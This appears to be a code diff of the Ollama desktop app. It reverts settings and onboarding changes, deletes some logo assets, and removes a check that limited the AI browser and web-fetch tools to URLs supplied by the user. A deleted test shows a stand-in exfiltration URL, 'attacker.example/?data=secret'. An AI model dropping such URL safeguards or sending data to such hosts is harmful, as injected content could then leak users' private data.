|
||||
lastHomeView = "chat"
|
||||
if _, ok := validLaunchView[lastHomeView]; !ok {
|
||||
lastHomeView = "launch"
|
||||
}
|
||||
}
|
||||
|
||||
_, err := db.conn.Exec(`
|
||||
UPDATE settings
|
||||
SET expose = ?, survey = ?, browser = ?, models = ?, agent = ?, tools = ?, working_dir = ?, context_length = ?, turbo_enabled = ?, websearch_enabled = ?, selected_model = ?, sidebar_open = ?, last_home_view = ?, onboarding_version = ?, think_enabled = ?, think_level = ?, auto_update_enabled = ?, claude_desktop_used = ?
|
||||
`, s.Expose, s.Survey, s.Browser, s.Models, s.Agent, s.Tools, s.WorkingDir, s.ContextLength, s.TurboEnabled, s.WebSearchEnabled, s.SelectedModel, s.SidebarOpen, lastHomeView, s.OnboardingVersion, s.ThinkEnabled, s.ThinkLevel, s.AutoUpdateEnabled, s.ClaudeDesktopUsed)
|
||||
SET expose = ?, survey = ?, browser = ?, models = ?, agent = ?, tools = ?, working_dir = ?, context_length = ?, turbo_enabled = ?, websearch_enabled = ?, selected_model = ?, sidebar_open = ?, last_home_view = ?, think_enabled = ?, think_level = ?, auto_update_enabled = ?
|
||||
`, s.Expose, s.Survey, s.Browser, s.Models, s.Agent, s.Tools, s.WorkingDir, s.ContextLength, s.TurboEnabled, s.WebSearchEnabled, s.SelectedModel, s.SidebarOpen, lastHomeView, s.ThinkEnabled, s.ThinkLevel, s.AutoUpdateEnabled)
|
||||
if err != nil {
|
||||
return fmt.Errorf("set settings: %w", err)
|
||||
}
|
||||
|
||||
@@ -135,7 +135,7 @@ func TestMigrationV13ToV14ContextLength(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMigrationV15ToV16LastHomeViewMigratesToChat(t *testing.T) {
|
||||
func TestMigrationV15ToV16LastHomeViewDefaultsToLaunch(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
dbPath := filepath.Join(tmpDir, "test.db")
|
||||
|
||||
@@ -161,8 +161,8 @@ func TestMigrationV15ToV16LastHomeViewMigratesToChat(t *testing.T) {
|
||||
t.Fatalf("failed to read last_home_view: %v", err)
|
||||
}
|
||||
|
||||
if lastHomeView != "chat" {
|
||||
t.Fatalf("expected last_home_view to migrate to chat, got %q", lastHomeView)
|
||||
if lastHomeView != "launch" {
|
||||
t.Fatalf("expected last_home_view to default to launch after migration, got %q", lastHomeView)
|
||||
}
|
||||
|
||||
version, err := db.getSchemaVersion()
|
||||
@@ -174,88 +174,6 @@ func TestMigrationV15ToV16LastHomeViewMigratesToChat(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestOnboardingVersionDefaultsAndMigration(t *testing.T) {
|
||||
t.Run("fresh installs need onboarding", func(t *testing.T) {
|
||||
dbPath := filepath.Join(t.TempDir(), "fresh.db")
|
||||
db, err := newDatabase(dbPath)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to create database: %v", err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
settings, err := db.getSettings()
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read settings: %v", err)
|
||||
}
|
||||
if settings.OnboardingVersion != 0 {
|
||||
t.Fatalf("expected fresh install onboarding version 0, got %d", settings.OnboardingVersion)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("existing installs skip onboarding", func(t *testing.T) {
|
||||
dbPath := filepath.Join(t.TempDir(), "existing.db")
|
||||
db, err := newDatabase(dbPath)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to create database: %v", err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
if _, err := db.conn.Exec(`
|
||||
ALTER TABLE settings DROP COLUMN onboarding_version;
|
||||
UPDATE settings SET schema_version = 16;
|
||||
`); err != nil {
|
||||
t.Fatalf("failed to seed v16 settings row: %v", err)
|
||||
}
|
||||
|
||||
if err := db.migrate(); err != nil {
|
||||
t.Fatalf("migration from v16 to v17 failed: %v", err)
|
||||
}
|
||||
|
||||
settings, err := db.getSettings()
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read settings: %v", err)
|
||||
}
|
||||
if settings.OnboardingVersion != 1 {
|
||||
t.Fatalf("expected existing install onboarding version 1, got %d", settings.OnboardingVersion)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestClaudeDesktopUsedDefaultsAndMigration(t *testing.T) {
|
||||
dbPath := filepath.Join(t.TempDir(), "claude-history.db")
|
||||
db, err := newDatabase(dbPath)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to create database: %v", err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
settings, err := db.getSettings()
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read settings: %v", err)
|
||||
}
|
||||
if settings.ClaudeDesktopUsed {
|
||||
t.Fatal("expected fresh installs to have no Claude Desktop history")
|
||||
}
|
||||
|
||||
if _, err := db.conn.Exec(`
|
||||
ALTER TABLE settings DROP COLUMN claude_desktop_used;
|
||||
UPDATE settings SET schema_version = 17;
|
||||
`); err != nil {
|
||||
t.Fatalf("failed to seed v17 settings row: %v", err)
|
||||
}
|
||||
if err := db.migrate(); err != nil {
|
||||
t.Fatalf("migration from v17 to v18 failed: %v", err)
|
||||
}
|
||||
|
||||
settings, err = db.getSettings()
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read migrated settings: %v", err)
|
||||
}
|
||||
if settings.ClaudeDesktopUsed {
|
||||
t.Fatal("expected existing installs to start with no inferred Claude Desktop history")
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatDeletionWithCascade(t *testing.T) {
|
||||
t.Run("chat deletion cascades to related messages", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
|
||||
@@ -57,14 +57,6 @@ func TestConfigMigration(t *testing.T) {
|
||||
t.Error("expected has completed first run to be true after migration")
|
||||
}
|
||||
|
||||
settings, err := s.Settings()
|
||||
if err != nil {
|
||||
t.Fatalf("failed to get settings: %v", err)
|
||||
}
|
||||
if settings.OnboardingVersion != CurrentOnboardingVersion {
|
||||
t.Fatalf("expected migrated user to skip onboarding, got version %d", settings.OnboardingVersion)
|
||||
}
|
||||
|
||||
// Verify migration is marked as complete
|
||||
migrated, err := s.db.isConfigMigrated()
|
||||
if err != nil {
|
||||
|
||||
@@ -167,22 +167,13 @@ type Settings struct {
|
||||
// SidebarOpen indicates if the chat sidebar is open
|
||||
SidebarOpen bool
|
||||
|
||||
// LastHomeView is retained for settings compatibility and resolves to chat.
|
||||
// LastHomeView stores the preferred home route target ("chat" or integration name)
|
||||
LastHomeView string
|
||||
|
||||
// OnboardingVersion stores the latest onboarding flow the user has completed.
|
||||
OnboardingVersion int
|
||||
|
||||
// AutoUpdateEnabled indicates if automatic updates should be downloaded
|
||||
AutoUpdateEnabled bool
|
||||
|
||||
// ClaudeDesktopUsed records whether Claude Desktop has ever been connected through Ollama.
|
||||
ClaudeDesktopUsed bool
|
||||
}
|
||||
|
||||
// Keep in sync with CURRENT_ONBOARDING_VERSION in app/ui/app/src/lib/onboarding.ts.
|
||||
const CurrentOnboardingVersion = 1
|
||||
|
||||
type Store struct {
|
||||
// DBPath allows overriding the default database path (mainly for testing)
|
||||
DBPath string
|
||||
@@ -343,16 +334,6 @@ func (s *Store) migrateFromConfig(database *database) error {
|
||||
if err := database.setHasCompletedFirstRun(hasCompleted); err != nil {
|
||||
return fmt.Errorf("migrate first time run: %w", err)
|
||||
}
|
||||
if hasCompleted {
|
||||
settings, err := database.getSettings()
|
||||
if err != nil {
|
||||
return fmt.Errorf("read settings for onboarding migration: %w", err)
|
||||
}
|
||||
settings.OnboardingVersion = CurrentOnboardingVersion
|
||||
if err := database.setSettings(settings); err != nil {
|
||||
return fmt.Errorf("migrate onboarding completion: %w", err)
|
||||
}
|
||||
}
|
||||
slog.Info("migrated first run status from config.json", "hasCompleted", hasCompleted)
|
||||
|
||||
// Mark as migrated
|
||||
@@ -412,7 +393,7 @@ func (s *Store) Settings() (Settings, error) {
|
||||
}
|
||||
|
||||
if settings.LastHomeView == "" {
|
||||
settings.LastHomeView = "chat"
|
||||
settings.LastHomeView = "launch"
|
||||
}
|
||||
|
||||
return settings, nil
|
||||
|
||||
@@ -81,18 +81,18 @@ func TestStore(t *testing.T) {
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("settings default home view is chat", func(t *testing.T) {
|
||||
t.Run("settings default home view is launch", func(t *testing.T) {
|
||||
loaded, err := s.Settings()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if loaded.LastHomeView != "chat" {
|
||||
t.Fatalf("expected default LastHomeView to be chat, got %q", loaded.LastHomeView)
|
||||
if loaded.LastHomeView != "launch" {
|
||||
t.Fatalf("expected default LastHomeView to be launch, got %q", loaded.LastHomeView)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("settings empty home view falls back to chat", func(t *testing.T) {
|
||||
t.Run("settings empty home view falls back to launch", func(t *testing.T) {
|
||||
if err := s.SetSettings(Settings{LastHomeView: ""}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
@@ -102,12 +102,12 @@ func TestStore(t *testing.T) {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if loaded.LastHomeView != "chat" {
|
||||
t.Fatalf("expected empty LastHomeView to fall back to chat, got %q", loaded.LastHomeView)
|
||||
if loaded.LastHomeView != "launch" {
|
||||
t.Fatalf("expected empty LastHomeView to fall back to launch, got %q", loaded.LastHomeView)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("settings retired home view falls back to chat", func(t *testing.T) {
|
||||
t.Run("settings disabled home view falls back to launch", func(t *testing.T) {
|
||||
if err := s.SetSettings(Settings{LastHomeView: "claude-desktop"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
@@ -117,23 +117,8 @@ func TestStore(t *testing.T) {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if loaded.LastHomeView != "chat" {
|
||||
t.Fatalf("expected retired LastHomeView to fall back to chat, got %q", loaded.LastHomeView)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("settings integration home view falls back to chat", func(t *testing.T) {
|
||||
if err := s.SetSettings(Settings{LastHomeView: "codex-app"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
loaded, err := s.Settings()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if loaded.LastHomeView != "chat" {
|
||||
t.Fatalf("expected integration LastHomeView to fall back to chat, got %q", loaded.LastHomeView)
|
||||
if loaded.LastHomeView != "launch" {
|
||||
t.Fatalf("expected disabled LastHomeView to fall back to launch, got %q", loaded.LastHomeView)
|
||||
}
|
||||
})
|
||||
|
||||
@@ -227,58 +212,6 @@ func TestStore(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
func TestOnboardingVersionRoundTrip(t *testing.T) {
|
||||
s, cleanup := setupTestStore(t)
|
||||
defer cleanup()
|
||||
|
||||
settings, err := s.Settings()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if settings.OnboardingVersion != 0 {
|
||||
t.Fatalf("expected onboarding version 0 by default, got %d", settings.OnboardingVersion)
|
||||
}
|
||||
|
||||
settings.OnboardingVersion = 1
|
||||
if err := s.SetSettings(settings); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
loaded, err := s.Settings()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if loaded.OnboardingVersion != 1 {
|
||||
t.Fatalf("expected onboarding version 1, got %d", loaded.OnboardingVersion)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopUsedRoundTrip(t *testing.T) {
|
||||
s, cleanup := setupTestStore(t)
|
||||
defer cleanup()
|
||||
|
||||
settings, err := s.Settings()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if settings.ClaudeDesktopUsed {
|
||||
t.Fatal("expected Claude Desktop history to be false by default")
|
||||
}
|
||||
|
||||
settings.ClaudeDesktopUsed = true
|
||||
if err := s.SetSettings(settings); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
loaded, err := s.Settings()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !loaded.ClaudeDesktopUsed {
|
||||
t.Fatal("expected Claude Desktop history to persist")
|
||||
}
|
||||
}
|
||||
|
||||
// setupTestStore creates a temporary store for testing
|
||||
func setupTestStore(t *testing.T) (*Store, func()) {
|
||||
t.Helper()
|
||||
|
||||
@@ -563,10 +563,6 @@ func (b *BrowserOpen) Execute(ctx context.Context, args map[string]any) (any, st
|
||||
return b.state.Data, pageText, nil
|
||||
}
|
||||
|
||||
if !allowedDirectURL(ctx, url) {
|
||||
return nil, "", fmt.Errorf("direct URL open is only allowed for URLs provided by the user")
|
||||
}
|
||||
|
||||
// Page not in cache, need to crawl it
|
||||
if b.crawlPage == nil {
|
||||
b.crawlPage = &BrowserCrawler{}
|
||||
|
||||
@@ -65,27 +65,6 @@ func TestBrowserOpen_UseCacheByURL(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBrowserOpen_RejectsUncachedDirectURL(t *testing.T) {
|
||||
b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
|
||||
bo := NewBrowserOpen(b)
|
||||
|
||||
_, _, err := bo.Execute(t.Context(), map[string]any{"id": "https://attacker.example/?data=secret"})
|
||||
if err == nil || !strings.Contains(err.Error(), "only allowed for URLs provided by the user") {
|
||||
t.Fatalf("expected direct URL rejection, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDirectURLsFromText_AllowsExactUserURLsOnly(t *testing.T) {
|
||||
ctx := WithAllowedDirectURLs(t.Context(), "summarize https://example.com/article?q=1 please")
|
||||
|
||||
if !allowedDirectURL(ctx, "https://example.com/article?q=1") {
|
||||
t.Fatal("expected exact user-provided URL to be allowed")
|
||||
}
|
||||
if allowedDirectURL(ctx, "https://example.com/article?q=secret") {
|
||||
t.Fatal("did not expect modified URL to be allowed")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDisplayPage_InvalidLoc(t *testing.T) {
|
||||
b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
|
||||
p := makeTestPage("https://example.com/x")
|
||||
|
||||
@@ -1,61 +0,0 @@
|
||||
//go:build windows || darwin
|
||||
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type directURLContextKey struct{}
|
||||
|
||||
var directURLPattern = regexp.MustCompile("https?://[^\\s<>\"'`]+")
|
||||
|
||||
func WithAllowedDirectURLs(ctx context.Context, text string) context.Context {
|
||||
allowed := make(map[string]struct{})
|
||||
for _, match := range directURLPattern.FindAllString(text, -1) {
|
||||
addAllowedDirectURLToMap(allowed, match)
|
||||
}
|
||||
return context.WithValue(ctx, directURLContextKey{}, allowed)
|
||||
}
|
||||
|
||||
func addAllowedDirectURL(ctx context.Context, raw string) {
|
||||
allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
|
||||
addAllowedDirectURLToMap(allowed, raw)
|
||||
}
|
||||
|
||||
func addAllowedDirectURLToMap(allowed map[string]struct{}, raw string) {
|
||||
if allowed == nil {
|
||||
return
|
||||
}
|
||||
|
||||
raw = cleanDirectURL(raw)
|
||||
if raw == "" {
|
||||
return
|
||||
}
|
||||
|
||||
allowed[raw] = struct{}{}
|
||||
}
|
||||
|
||||
func allowedDirectURL(ctx context.Context, raw string) bool {
|
||||
allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
|
||||
cleaned := cleanDirectURL(raw)
|
||||
if cleaned == "" || cleaned != raw {
|
||||
return false
|
||||
}
|
||||
|
||||
_, ok := allowed[cleaned]
|
||||
return ok
|
||||
}
|
||||
|
||||
func cleanDirectURL(raw string) string {
|
||||
raw = strings.TrimSpace(raw)
|
||||
raw = strings.TrimRight(raw, ".,;:!?)]}")
|
||||
|
||||
if !strings.HasPrefix(raw, "http://") && !strings.HasPrefix(raw, "https://") {
|
||||
return ""
|
||||
}
|
||||
|
||||
return raw
|
||||
}
|
||||
@@ -1,21 +0,0 @@
|
||||
//go:build windows || darwin
|
||||
|
||||
package tools
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestDirectURLsFromText_RejectsChangedToolArgument(t *testing.T) {
|
||||
ctx := WithAllowedDirectURLs(t.Context(), "summarize https://attacker.example/x")
|
||||
|
||||
if allowedDirectURL(ctx, "https://attacker.example/x!!!!") {
|
||||
t.Fatal("expected changed tool argument to be rejected")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDirectURLsFromText_ExtractsMarkdownCodeSpanURL(t *testing.T) {
|
||||
ctx := WithAllowedDirectURLs(t.Context(), "summarize `https://example.com/privacy`")
|
||||
|
||||
if !allowedDirectURL(ctx, "https://example.com/privacy") {
|
||||
t.Fatal("expected URL wrapped in backticks to be allowed")
|
||||
}
|
||||
}
|
||||
@@ -67,17 +67,11 @@ func (w *WebFetch) Execute(ctx context.Context, args map[string]any) (any, strin
|
||||
if !ok || strings.TrimSpace(urlStr) == "" {
|
||||
return nil, "", fmt.Errorf("url must be a non-empty string")
|
||||
}
|
||||
if !allowedDirectURL(ctx, urlStr) {
|
||||
return nil, "", fmt.Errorf("web fetch is only allowed for URLs provided by the user")
|
||||
}
|
||||
|
||||
result, err := performWebFetch(ctx, urlStr)
|
||||
if err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
for _, link := range result.Links {
|
||||
addAllowedDirectURL(ctx, link)
|
||||
}
|
||||
|
||||
return result, "", nil
|
||||
}
|
||||
|
||||
@@ -88,9 +88,6 @@ func (w *WebSearch) Execute(ctx context.Context, args map[string]any) (any, stri
|
||||
if err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
for _, result := range result.Results {
|
||||
addAllowedDirectURL(ctx, result.URL)
|
||||
}
|
||||
|
||||
return result, "", nil
|
||||
}
|
||||
|
||||
@@ -415,9 +415,7 @@ export class Settings {
|
||||
SelectedModel: string;
|
||||
SidebarOpen: boolean;
|
||||
LastHomeView: string;
|
||||
OnboardingVersion: number;
|
||||
AutoUpdateEnabled: boolean;
|
||||
ClaudeDesktopUsed: boolean;
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
@@ -436,9 +434,7 @@ export class Settings {
|
||||
this.SelectedModel = source["SelectedModel"];
|
||||
this.SidebarOpen = source["SidebarOpen"];
|
||||
this.LastHomeView = source["LastHomeView"];
|
||||
this.OnboardingVersion = source["OnboardingVersion"];
|
||||
this.AutoUpdateEnabled = source["AutoUpdateEnabled"];
|
||||
this.ClaudeDesktopUsed = source["ClaudeDesktopUsed"];
|
||||
}
|
||||
}
|
||||
export class SettingsResponse {
|
||||
|
||||
@@ -1,14 +1,13 @@
|
||||
<!doctype html>
|
||||
<html lang="en" style="overflow: hidden; color-scheme: light">
|
||||
<html lang="en" style="overflow: hidden">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="color-scheme" content="light" />
|
||||
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<link rel="stylesheet" href="/src/index.css" />
|
||||
<title>Ollama</title>
|
||||
</head>
|
||||
<body class="bg-white select-text">
|
||||
<body class="dark:bg-neutral-900 select-text">
|
||||
<div id="root"></div>
|
||||
<script type="module" src="/src/main.tsx"></script>
|
||||
<script>
|
||||
|
||||
|
Before Width: | Height: | Size: 245 KiB |
|
Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 21 KiB |
@@ -1,8 +0,0 @@
|
||||
<svg width="92" height="96" viewBox="0 0 92 96" xmlns="http://www.w3.org/2000/svg">
|
||||
<g fill="#24292F">
|
||||
<path fill-rule="evenodd" d="M65.45 16.8c10.89 0 19.71 8.86 19.71 19.8v6.6l5.74 11.46a4 4 0 0 1-.01 3.6l-5.73 11.34v6.6c0 10.94-8.82 19.8-19.71 19.8H26.02C15.13 96 6.31 87.14 6.31 76.2v-6.6L.45 58.3a4 4 0 0 1-.01-3.67l5.87-11.43v-6.6c0-10.94 8.82-19.8 19.71-19.8h39.43Zm-2.52 5.7H29.19c-9.32 0-16.87 7.56-16.87 16.88V45L7.44 54.46a4 4 0 0 0 .01 3.68L12.32 67.5v5.63c0 9.32 7.55 16.87 16.87 16.87h33.74c9.32 0 16.87-7.55 16.87-16.87V67.5l4.77-9.39a4 4 0 0 0 .01-3.61L79.8 45v-5.62c0-9.32-7.55-16.88-16.87-16.88Z"/>
|
||||
<circle cx="45.73" cy="11.5" r="11"/>
|
||||
<rect x="27" y="41" width="13" height="30" rx="6.5"/>
|
||||
<rect x="51" y="41" width="13" height="30" rx="6.5"/>
|
||||
</g>
|
||||
</svg>
|
||||
|
Before Width: | Height: | Size: 795 B |
|
Before Width: | Height: | Size: 41 KiB |
@@ -1,4 +0,0 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="50" height="50" viewBox="0 0 50 50" fill="none">
|
||||
<style>@media (prefers-color-scheme: dark) { path { fill: #fff; } }</style>
|
||||
<path d="M48.8354 10.0479C48.3232 9.79199 48.1025 10.2798 47.8032 10.5278C46.7793 11.624 45.9048 12.1597 44.7622 12.0957C43.0923 12 41.666 12.5356 40.4058 13.8398C40.1377 12.2319 39.2476 11.272 37.8926 10.6558C36.4668 10.0156 35.9702 9.31982 35.356 7.72754C35.2456 7.3999 35.1353 7.06396 34.7651 7.00781C34.3633 6.94385 34.2056 7.2876 34.0479 7.57568C33.418 8.75195 33.1733 10.0479 33.1973 11.3599C33.2524 14.312 34.4736 16.6641 36.8999 18.3359C37.1758 18.5278 37.2466 18.7197 37.1597 19C36.9946 19.5757 36.7974 20.1357 36.624 20.7119C36.5137 21.0801 36.3486 21.1597 35.9624 21C32.4092 19.4878 30.0381 16.2319 27.2334 13.52C26.7764 13.1758 26.3193 12.856 25.8467 12.5518C23.8618 10.584 26.1069 8.96777 26.627 8.77588C27.1704 8.57568 26.8159 7.8877 25.0591 7.896C22.8691 7.90381 20.4507 9.06396 18.7095 9.58398C16.8501 9.22363 14.9199 9.14355 12.9033 9.37598C5.30859 10.2397 1.15674 16.4717 1.30664 27.2559C2.11768 31.9521 4.46582 35.8398 8.07373 38.8799C11.8159 42.0322 16.1255 43.5762 21.041 43.2803C24.0269 43.104 27.3516 42.6963 31.1016 39.4561C33.0396 40.1279 37.1758 40.208 38.1211 40.0078C39.6021 39.688 39.4995 38.2881 38.9639 38.0322C34.623 35.9678 35.5762 36.8081 34.71 36.1279C36.9155 33.4639 40.2402 30.6958 41.54 21.728C41.6426 21.0161 41.5557 20.5679 41.54 19.9917C41.5322 19.6396 41.6108 19.5039 42.0049 19.4639C46.6924 18.9116 49.064 15.9038 49.3315 11.2559C49.3711 10.7837 49.3237 10.2959 48.8354 10.0479ZM24.3262 37.8398C20.1196 34.4639 18.0791 33.3521 17.2358 33.3999C16.4482 33.4482 16.5898 34.3682 16.7632 34.9678C16.9443 35.5601 17.1812 35.9683 17.5117 36.4878C17.7402 36.832 17.8979 37.3442 17.2832 37.728C15.9282 38.584 13.5728 37.4399 13.4624 37.3838C7.97949 34.0879 4.48926 28.9282 4.19775 21.3677C4.1582 20.5757 4.38672 20.2959 5.15869 20.1519C11.8945 18.8799 17.165 22.0879 19.2529 25.7759C23.5381 30.104 25.335 35.1523 30.479 39.104C28.8643 39.2881 26.1699 39.3281 24.3262 37.8398ZM26.3433 24.6001C26.3433 24.248 26.6191 23.9678 26.9658 23.9678C27.3042 23.9678 27.5801 24.248 27.5801 24.6001C27.5801 24.9521 27.3042 25.2319 26.9575 25.2319C26.6108 25.2319 26.3433 24.9521 26.3433 24.6001ZM32.6064 27.8799C31.6372 28.2881 30.6289 28.3042 29.8096 27.688C28.6987 26.8555 28.6279 25.7759 28.7305 24.9199C28.8721 24.248 28.7144 23.8159 28.2495 23.4238C27.8716 23.104 27.3911 23.0161 26.8633 23.0161C26.666 23.0161 26.4849 22.9277 26.3511 22.856C25.8467 22.5762 25.9805 22.1758 26.5088 21.688C28.0996 20.7598 29.6362 21.9917 30.834 23.3281C31.6216 24.2559 32.8901 26.312 33.1104 26.9521C33.2446 27.3521 33.0713 27.6802 32.6064 27.8799Z" fill="#000"/>
|
||||
</svg>
|
||||
|
Before Width: | Height: | Size: 2.7 KiB |
@@ -1,11 +0,0 @@
|
||||
<svg viewBox="0 0 64 64" xmlns="http://www.w3.org/2000/svg">
|
||||
<defs>
|
||||
<linearGradient id="omp-gradient" x1="0" y1="0" x2="1" y2="1">
|
||||
<stop offset="0" stop-color="#ed4abf"/>
|
||||
<stop offset=".5" stop-color="#9b4dff"/>
|
||||
<stop offset="1" stop-color="#5ad8e6"/>
|
||||
</linearGradient>
|
||||
</defs>
|
||||
<rect width="64" height="64" rx="12" fill="#0f0a14"/>
|
||||
<path fill="url(#omp-gradient)" d="M14 16h36v8H40v32h-8V24h-6v22h-8V24h-4z"/>
|
||||
</svg>
|
||||
|
Before Width: | Height: | Size: 451 B |
@@ -1,11 +0,0 @@
|
||||
<svg viewBox="0 0 64 64" xmlns="http://www.w3.org/2000/svg">
|
||||
<defs>
|
||||
<linearGradient id="poolside-gradient" x1="8" y1="5" x2="55" y2="59" gradientUnits="userSpaceOnUse">
|
||||
<stop stop-color="#6c5cff"/>
|
||||
<stop offset="1" stop-color="#3c2cff"/>
|
||||
</linearGradient>
|
||||
</defs>
|
||||
<rect width="64" height="64" rx="13" fill="url(#poolside-gradient)"/>
|
||||
<path d="M13 32c0-10.5 8.5-19 19-19 10.49 0 19 8.5 19 19s-8.51 19-19 19c-10.5 0-19-8.5-19-19Z" fill="none" stroke="#fff" stroke-width="4"/>
|
||||
<path d="M16 24c8-4.1 17.1-.9 22.6 7.1 4.3-1.2 8.6.5 11 4.1M23.5 47.5 38 17.5" fill="none" stroke="#fff" stroke-linecap="round" stroke-linejoin="round" stroke-width="4"/>
|
||||
</svg>
|
||||
|
Before Width: | Height: | Size: 682 B |
@@ -1,3 +0,0 @@
|
||||
<svg viewBox="0 0 141.38 140" xmlns="http://www.w3.org/2000/svg">
|
||||
<path fill="#6D44E8" d="m140.93 85-16.35-28.33-1.93-3.34 8.66-15a3.32 3.32 0 0 0 0-3.34l-9.62-16.67a3.34 3.34 0 0 0-2.89-1.67H82.23l-8.66-15A3.33 3.33 0 0 0 70.68-.02H51.43a3.33 3.33 0 0 0-2.88 1.67L32.19 29.98l-1.92 3.33H12.96a3.34 3.34 0 0 0-2.88 1.67L.45 51.66a3.32 3.32 0 0 0 0 3.34l18.28 31.67-8.66 15a3.32 3.32 0 0 0 0 3.34l9.62 16.67a3.34 3.34 0 0 0 2.89 1.67h36.56l8.66 15a3.35 3.35 0 0 0 2.89 1.67h19.25a3.34 3.34 0 0 0 2.89-1.67l18.28-31.67h17.32a3.34 3.34 0 0 0 2.89-1.67l9.62-16.67a3.32 3.32 0 0 0-.01-3.34ZM51.44 3.33 61.07 20l-9.63 16.66h76.98l-9.62 16.66H45.67l-11.54-20zM57.21 120H22.58l9.63-16.67h19.25l-38.5-66.67h19.25l9.62 16.67L68.78 100l-11.55 20Zm61.59-33.34-9.62-16.67-38.49 66.67-9.63-16.67 9.63-16.66 26.94-46.67h23.1l17.32 30z"/>
|
||||
</svg>
|
||||
|
Before Width: | Height: | Size: 832 B |
@@ -1,141 +0,0 @@
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
const { listModels } = vi.hoisted(() => ({ listModels: vi.fn() }));
|
||||
vi.mock("./lib/ollama-client", () => ({
|
||||
ollamaClient: { list: listModels },
|
||||
}));
|
||||
|
||||
import {
|
||||
fetchConnectUrl,
|
||||
getClaudeDesktopAvailableModels,
|
||||
getIntegrationStatuses,
|
||||
} from "./api";
|
||||
|
||||
describe("fetchConnectUrl", () => {
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
});
|
||||
|
||||
it("requests a desktop handoff after account creation", async () => {
|
||||
vi.stubGlobal(
|
||||
"fetch",
|
||||
vi.fn().mockResolvedValue(
|
||||
new Response(
|
||||
JSON.stringify({
|
||||
signin_url:
|
||||
"https://ollama.com/connect?name=MacBook&key=public-key",
|
||||
}),
|
||||
{ status: 401 },
|
||||
),
|
||||
),
|
||||
);
|
||||
|
||||
await expect(fetchConnectUrl()).resolves.toBe(
|
||||
"https://ollama.com/connect?name=MacBook&key=public-key&launch=true",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("getIntegrationStatuses", () => {
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
});
|
||||
|
||||
it("returns desktop and launcher integration metadata", async () => {
|
||||
const fetch = vi.fn().mockResolvedValue(
|
||||
new Response(
|
||||
JSON.stringify([
|
||||
{
|
||||
id: "claude-desktop",
|
||||
name: "Claude",
|
||||
description: "Use Ollama models in Claude Desktop",
|
||||
installed: true,
|
||||
},
|
||||
{
|
||||
id: "opencode",
|
||||
name: "OpenCode",
|
||||
description: "Open-source coding agent",
|
||||
command: "ollama launch opencode",
|
||||
},
|
||||
]),
|
||||
{ status: 200 },
|
||||
),
|
||||
);
|
||||
vi.stubGlobal("fetch", fetch);
|
||||
|
||||
await expect(getIntegrationStatuses()).resolves.toEqual([
|
||||
{
|
||||
id: "claude-desktop",
|
||||
name: "Claude",
|
||||
description: "Use Ollama models in Claude Desktop",
|
||||
installed: true,
|
||||
},
|
||||
{
|
||||
id: "opencode",
|
||||
name: "OpenCode",
|
||||
description: "Open-source coding agent",
|
||||
